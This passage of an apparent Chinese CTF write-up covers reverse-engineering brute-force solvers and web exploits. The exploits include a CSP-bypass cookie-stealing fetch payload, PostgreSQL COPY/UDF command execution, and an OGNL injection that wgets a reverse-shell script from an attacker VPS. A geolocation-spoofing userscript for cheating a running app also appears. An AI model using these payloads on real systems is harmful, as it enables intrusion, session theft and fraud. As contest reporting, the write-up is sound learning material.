    case 246:
        s.push(intr_list_i[now_idx + 1]);
        now_idx += 2;
        break;
    case 247:
        p1 = s.top();
        s.pop();
        now_idx += 1;
        break;
    case 248:
        p2 = s.top();
        s.pop();
        now_idx += 1;
        break;
    case 249:
        p3 = s.top();
        s.pop();
        now_idx += 1;
        break;
    case 250:
        p4 = s.top();
        s.pop();
        now_idx += 1;
        break;
    case 254:
        if (flag == 0){
            return 0;
        }
        now_idx += 2;
        break;
    case 255:
        if (flag)
            now_idx += intr_list_i[now_idx + 1];
        now_idx += 2;
        break;
    default:
        break;

```

```

    }
}
return 1;
}

int
dfs(){
    ans_i++;
    for (unsigned char ch = 0; ch ≤ 0x7f; ch++){
        ans[ans_i - 1] = ch;
        if(check()){
            if (ans_i == 45 || dfs())
                return 1;
        }
    }
    ans_i--;
    return 0;
}

void
dfs_init(){
    ans_i = 2;
    for (unsigned char ch1 = 0; ch1 ≤ 0x7f; ch1++){
        for (unsigned char ch2 = 0; ch2 ≤ 0x7f; ch2++){
            ans[0] = ch1;
            ans[1] = ch2;
            if(check() && dfs()){
                cout << ans << endl;
                return;
            }
        }
    }
}

int
main(){
    setbuf(stdout, 0);
    dfs_init();
    return 0;
}

```

0LLessVM

用 x64gdb 动调，可以发现比较 flag 是经过一次全部加密后用 memcmp 比较的。在 memcmp 下断点，多次调试可以发现每一个字符在那一位上是不变的，例如输入 `miniL` 和 `mini`，他们的前面几位都是一样的，和其他位无关，并且加密完后的目标密文也是一样的，那我们就可以直接爆破。

在 IDA 里 patch `memcmp` 成 `printf`，输出结果，一位一位的爆破即可。

```

.text:00000001400015C4 E8 59 0C 00 00      call     memset
.text:00000001400015C4                                     ; "Please input your flag:\n"
.text:00000001400015C9 48 8D 0D 90 1C 00 00    lea     rcx, Format
.text:00000001400015D0 E8 73 FE FF FF      call     printf
.text:00000001400015D0                                     ; "%s"
.text:00000001400015D5 44 8B C3            mov     r8d, ebx
.text:00000001400015D8 48 8D 54 24 20      lea     rdx, [rsp+138h+input]
.text:00000001400015DD 48 8D 0D 98 1C 00 00    lea     rcx, a5
.text:00000001400015E4 E8 B3 FE FF FF      call     scanf
.text:00000001400015E4                                     ; unsigned __int8 *
.text:00000001400015E9 48 8D 94 24 A0 00 00 00 lea     rdx, [rsp+138h+var_98]
.text:00000001400015F1 48 8D 4C 24 20      lea     rcx, [rsp+138h+input]
.text:00000001400015F6 E8 F5 FE FF FF      call     ?enc@YAPEAEPEAE0@Z
.text:00000001400015F6                                     ; enc(uchar *,uchar *)
.text:00000001400015F6                                     ; Size
.text:00000001400015FE 44 8B C3            mov     r8d, ebx
.text:00000001400015FE 48 8D 15 3B 3A 00 00    lea     rdx, unk_140005040
.text:0000000140001605 48 8B C8            mov     rcx, rax
.text:0000000140001608 E8 3B FE FF FF      call     printf
.text:0000000140001608                                     ; Buf2
.text:0000000140001608                                     ; Format
.text:000000014000160D 85 C0              test    eax, eax
.text:000000014000160F 75 15              jnz     short loc_140001626
.text:000000014000160F

```

本来想用 pwntools 里的 `io = process(['wine', './0LLessVM.exe'])`，但是运行总是有问题，不是很清楚为什么，所以选择了这种奇怪的输入方法。

```

from ctools import *
from pwn import *
import os

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'pane_pid'], '-P'])

flag_raw = [0xFC, 0xF1, 0x2D, 0x11, 0x31, 0xC7, 0x19, 0x8A, 0xDA, 0xBC, 0x14,
0x7C, 0x98, 0xEA, 0xDB, 0x65, 0xF7, 0x29, 0xD0, 0x43, 0x48, 0xFC, 0x84, 0x28,
0xF9, 0x29, 0x23, 0xAC, 0x59, 0xCD, 0x51, 0xE0, 0xC2, 0xB8, 0xF7, 0x59, 0x0C,
0x4B, 0xE6, 0x10, 0xDD, 0x59, 0xCC, 0x6D, 0x2B, 0x2A, 0x8C, 0xDA, 0x7B, 0x08,
0x08, 0xA4, 0x06, 0xBB, 0x86, 0xD0, 0x83, 0xD1, 0xFD, 0xE9, 0x8B, 0x35, 0x45,
0x5D, 0x51, 0x4C, 0xD1, 0x72, 0xF6, 0xB8, 0xE6, 0x9E, 0xE2, 0xB7, 0x2D, 0x75,
0x25, 0x71, 0x2B, 0x4B]

flag = b''

idx = 0;

for i in range(72):
    for ch in range(0, 0x7f):
        flag += p8(ch)
        with open('./in.txt', 'wb') as f:
            f.write(flag + b'\n')
        os.system('wine ./0LLessVM.exe > ./out.txt < in.txt 2>/dev/null')
        with open('./out.txt', 'rb') as f:
            res = f.readlines()[1][:72]
        if res[idx] == flag_raw[idx]:
            # print(f'Now flag: {flag}')
            idx += 1
            break
        flag = flag[:-1]

print(flag)

```

long long call

题目是最喜欢的 elf 文件（不知道为什么 pwngdb 调起来比 x64dbg 爽多了）。程序开始的时候貌似有一个检测调试的代码，但用 pwntools 中途 attach 不会受到影响。

程序里面有很多函数，是把程序里每一条汇编都单独写了一个函数，用 `popf` 来平衡栈。

调试可以发现程序的大致逻辑是把相邻两位求和，结果分别和这两位异或，最后进行简单的比较，爆破即可。

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

unsigned char flag[0x30];

int
main()
{
    unsigned char flag_raw[] = {187, 191, 185, 190, 195, 204, 206, 220, 158,
143, 157, 155, 167, 140, 215, 149, 176, 173, 189, 180, 136, 175, 146, 208, 207,
161, 163, 146, 183, 180, 201, 158, 148, 167, 174, 240, 161, 153, 192, 227, 180,
180, 191, 227};
    for (int i = 0; i < 0x2c / 2; i++){
        for (unsigned char j = 0; j ≤ 0x7f; j++){
            for (unsigned char k = 0; k ≤ 0x7f; k++){
                unsigned char sum = j + k;
                if((j ^ sum) == flag_raw[2 * i] && (k ^ sum) == flag_raw[2 * i
+ 1]){
                    flag[2 * i] = j;
                    flag[2 * i + 1] = k;
                    goto found;
                }
            }
        }
        found:
    }

    printf("%s\n", flag);

    return 0;
}
```

RustedRobot

给了一个 apk 文件。在主类里看到加载了 .so 共享库，将获得的字符串直接传递到了 `invokeCheck` 里。

看看 .so 里有什么。发现是一个 rust 程序，用 JNI 库接收 java 字符串。然后 new 了一个字符串 `oa0-eikddil@ecsa`，但是中间进行了一些处理

```
long double __usercall sub_2DFB9C@<Q0>(__int64 a1@<X0>, __int64 a2@<X8>)
{
    long double v2; // q0
    __int64 v3; // x1
    __int64 v4; // x1
    __int64 v5; // x1
    __int64 v6; // x1
```

```

long double result; // q0
__int64 v8; // [xsp+20h] [xbp-A0h]
__int64 v9; // [xsp+30h] [xbp-90h]
__int64 v12; // [xsp+50h] [xbp-70h]
long double new_str; // [xsp+60h] [xbp-60h] BYREF
__int64 v14; // [xsp+70h] [xbp-50h]
__int64 v15[2]; // [xsp+78h] [xbp-48h] BYREF
int ch; // [xsp+8Ch] [xbp-34h]
__int64 src2; // [xsp+90h] [xbp-30h]
int v18; // [xsp+A8h] [xbp-18h]
char v19; // [xsp+AFh] [xbp-11h]

src2 = a1;
v2 = ((long double (*)(void))sub_2EEC1C)();
v12 = ((__int64 (__fastcall *))(__int64, long double))sub_2EED8C)(a1, v2);
v9 = ((__int64 (__fastcall *))(__int64, __int64))sub_2DF6F4)(v12, v3);
v8 = core::iter::traits::iterator::Iterator::rev::hce2af5a119170bcf(v9, v4);
v15[0] =
_$LT$I$u20$as$u20$core..iter..traits..collect..IntoIterator$GT$::into_iter::h08
7dfb60ed03aa98(v8, v5);
v15[1] = v6;
while ( 1 )
{
    ch =
_$LT$core..iter..adapters..rev..Rev$LT$I$GT$$u20$as$u20$core..iter..traits..ite
rator..Iterator$GT$::next::h3e0bc47bad85342b(v15);
    if ( ch == 0x110000 )
        break;
    v18 = ch;
    v19 = ch;
    if ( (unsigned __int8)ch + 1 != (unsigned __int8)(ch + 1) )
        core::panicking::panic::hc41b0218a20f4d24(&unk_1F4E00, 28LL,
&off_695CC8);
    sub_2EEC4C((__int64)&new_str, (unsigned __int8)(ch + 1));
}
result = new_str;
*(long double *)a2 = new_str;
*(_QWORD *)(a2 + 16) = v14;
return result;
}

```

大致就是先将原始 `vec` 进行反转，然后用迭代器遍历，将 `ch + 1` push 到 `new_str` 里。

因为一开始看到 `Iterator::rev` 这个函数，还以为是什么不相关的函数，就没怎么管，卡了一天。然后之后仔细看了一下，`rev` 的全称竟然是 `reverse` ??? 这简称谁能和 `reverse` 想到一块???

新建了一个 java 的 `String` 数组，将第一个元素设成了这个，将第二个元素设成了经过处理后的接收到的字符串。

然后调用了 java 的静态方法 `CryptoClass::encrypt`。

```

public class CryptoClass {
    private static final String AES = "AES";
    public static Context context;
}

```


Web

题目环境缺失，没有图片说明

Snooker King

在得分的函数处打个断点，可以看到uid里有flag

Jvav Guy

复现<https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC>

Msgbox

```
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'nonce-{{ nonce }}' cdn.jsdelivr.net;">
```

script-src允许来自cdn.jsdelivr.net的脚本加载，把恶意js传上cdn即可

```
fetch("http://127.0.0.1:5000/send", {
  "headers": {
    "accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
    "cache-control": "no-cache",
    "content-type": "application/x-www-form-urlencoded",
    "pragma": "no-cache",
    "proxy-connection": "keep-alive",
    "upgrade-insecure-requests": "1"
  },
  "referrer": "http://127.0.0.1:5000/send",
  "body":
"header="+document.title+"&listener=ppp&content=123"+document.cookie+document.location,
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});
```

SmartPark

扫目录可以发现/swagger路由，暴露的backup接口可以拿源码，在此处可以sql注入

```
tmpl := template.Must(template.New("text").Parse(string(body)))
c.Writer.WriteHeader(http.StatusOK)
tmpl.Execute(c.Writer, f)
```

以下sql可rce


```
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
```

ps:没改之前的内容有点生草，swagger接口一个也用不了，得把Content-Type改了才能用，以及一些匹配让我产生了能够绕过并sql的错觉（这是我的问题

SmartPark-Revenge

同样的思路，最后sqli的利用换成udf提权

```
import requests

import sys

port="50549"
path="test"
url=f"http://127.0.0.1:{port}/{path}"
headers=
{"authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ3OTU2ODEsInN1YiI6IjExMTExMTExIn0.kk2hysaHl03p7mJP7dVcDVBm_QSzchcpT5kGmGL2I0bE"}
with open ("sqlcmd.txt", 'r') as f:
    sql=f.readline()
    while sql:
        if sql != '\n':
            data=f"hello {{{{.DbCall \"{sql.strip()}\"}}}} {{{{.Result}}}}"
            print(data)
            print(requests.post(url=url, headers=headers, data=data).text)
            sql=f.readline()
```

```
# sqlcmd.txt
SELECT lo_create(784);
insert into pg_largeobject values (784, 0, decode('data','hex'));
SELECT lo_export(784, '/tmp/testeval1.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval1.so',
'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
```

InjectionS

权限绕过出现在 `authorizeRequest().regexmatchers(new String[]{"/admin/.*"})`

.*不会匹配\r\n，可绕过admin权限检查，往url/admin/password/key路由发json，闭合sql，往里面塞ognl语句，

```
POST /admin/password/%0d1 HTTP/1.1
Host: 47.113.202.32:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=27F381FA18697B22BF93F33A6AEF9A76
Connection: close
Content-Length: 145
```

```
{"name":"'Alice' ) and (      ${@java.lang.Runtime.getRuntime().exec('wget
vps/file')}}                ) or (1=1 ", "id":1, "password":"123"}
```

`${@java.lang.Runtime.getRuntime().exec('wget vps/file')}` 可以执行，然后传个弹shell脚本后就可以执行了

ps : 不知道ognl注入之前尝试的途径，只能说知识面还是太窄了

1. sqli, 数据库里啥也没有，想udf提权，但是设置了secure_file_priv，所以啥也干不了
2. 反序列化，调的时候注意到json数据直接转成user了，猜想可能调了setter，调试的时候发现确实是jackson转换数据后调setter，但是有个targetType指定了调用的类，所以这条也没走通
3. CVE，目标Spring版本确实有比较严重的cve，但是jdk的版本对不上，cve要求jdk9+，寄

Misc

Laughing-Knife-No-Running

环境没了只能口头重述了)

打开题目发现是我们西电人最他宝了个贝喜欢的乐跑（确信）。先F12打开传感器研究一下，发现是依靠读取经纬度来实现定位的，一开始试了一下手动改定位，发现当每秒经纬度的变化在0.0001的量级时大概能不被判定作弊同时满足速度的要求。并且发现可以重复刷新凹出特定的打卡点，于是思路就很明了了，我选取的是：

北操西侧入口（34.132899， 108.846993）

北门（34.134961， 108.843728）

丁香餐厅北侧（34.130214， 108.836061）

这三个打卡点，首先将初始经纬度设置为一个打卡点附近，然后先后向其他两个打卡点运动（为了能判定到打卡点，这个过程先将速度放慢），在打完所有的打卡点之后，直接匀速直线运动坐等跑完就行。

编写油猴脚本

```
// ==UserScript==
// @name      乐道不跑
// @version    114514
// @description 这就是我们西电的乐跑，你们有这样的乐跑吗？
// @match      http://*/*
// @run-at     document-start
// ==/UserScript==
```

```

(function() {
    'use strict';

    // 初始位置
    let simulatedLatitude = 34.1302;
    let simulatedLongitude = 108.8360;
    // 剩下两个打卡点
    const targetPositions = [
        { latitude: 34.1349, longitude: 108.8437 },
        { latitude: 34.1328, longitude: 108.8469 }
    ];
    // 当前目标索引
    let currentTargetIndex = 0;
    // 移动步长
    const step = 0.00015;
    // 初始时间间隔
    let interval = 5000;

    // 等待页面加载完毕
    window.addEventListener('load', () => {
        // 覆盖navigator.geolocation.watchPosition方法
        navigator.geolocation.watchPosition = function (success, error,
options) {
            const movementInterval = setInterval(() => {
                // 检查是否到达当前目标位置
                if (currentTargetIndex < targetPositions.length) {
                    const target = targetPositions[currentTargetIndex];
                    const latDiff = target.latitude - simulatedLatitude;
                    const lonDiff = target.longitude - simulatedLongitude;
                    const latDirection = latDiff > 0 ? 1 : -1;
                    const lonDirection = lonDiff > 0 ? 1 : -1;

                    // 移动到目标位置
                    if (Math.abs(latDiff) > step || Math.abs(lonDiff) > step) {
                        simulatedLatitude += latDirection * step *
(Math.abs(latDiff) > step ? 1 : 0);
                        simulatedLongitude += lonDirection * step *
(Math.abs(lonDiff) > step ? 1 : 0);
                    } else {
                        // 到达目标，准备移动到下一个目标
                        simulatedLatitude = target.latitude;
                        simulatedLongitude = target.longitude;
                        currentTargetIndex++;
                        // 如果是最后一个目标，改变时间间隔为每秒一次
                        if (currentTargetIndex === targetPositions.length) {
                            clearInterval(movementInterval);
                            interval = 1000; // 每秒一次
                            setInterval(() => {
                                // 只增加纬度
                                simulatedLatitude += step;
                                sendPosition(success);
                            }, interval);
                        }
                    }
                }
            }, interval);
        }
    });
}

```

```
        }
        sendPosition(success);
    }, interval);

    function sendPosition(successCallback) {
        const position = {
            coords: {
                latitude: simulatedLatitude,
                longitude: simulatedLongitude,
                accuracy: 10 // 假设的精度
            },
            timestamp: Date.now()
        };
        successCallback(position);
    }
};

});

})();
```

Blockchain

dps_love

这道题和 SHCTF 2023 可以说一模一样，就是这道题用了 uint16 的上溢。